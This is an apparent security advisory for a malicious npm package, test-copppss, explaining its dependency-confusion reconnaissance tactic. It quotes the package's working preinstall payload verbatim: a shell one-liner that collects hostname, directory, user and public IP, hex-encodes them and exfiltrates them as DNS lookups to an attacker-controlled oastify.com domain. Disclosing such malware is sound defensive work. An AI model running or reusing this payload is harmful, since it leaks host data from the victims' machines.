MAL-2026-5926 Malicious code in test-copppss (npm)

On npm install, the package's preinstall hook (node index.js > /dev/null 2>&1) runs a shell pipeline that collects host identifiers — hostname, pwd, whoami, the package name test-copppss, and the machine's public IP via curl https://ifconfig.me — hex-encodes the concatenation with xxd -p, and exfiltrates it as DNS subdomain lookups to *.iwisr6uvbepzgs9fy8nyytl4ovumic61.oastify.com (a Burp Collaborator OAST endpoint controlled by the operator). Code at index.js:2 is exec("a=$(hostname;pwd;whoami;echo 'test-copppss';curl https://ifconfig.me;) && echo $a | xxd -p | head | while read ut;do nslookup $ut.iwisr6uvbepzgs9fy8nyytl4ovumic61.oastify.com;done"). The package metadata (empty description, near-max version 1.999.0 to win semver resolution, single trivial dependency, preinstall beacon) matches the canonical dependency-confusion / namespace-claim reconnaissance shape — the attacker is probing which internal build systems resolve test-copppss to this public name and is harvesting the host fingerprint of any environment that does.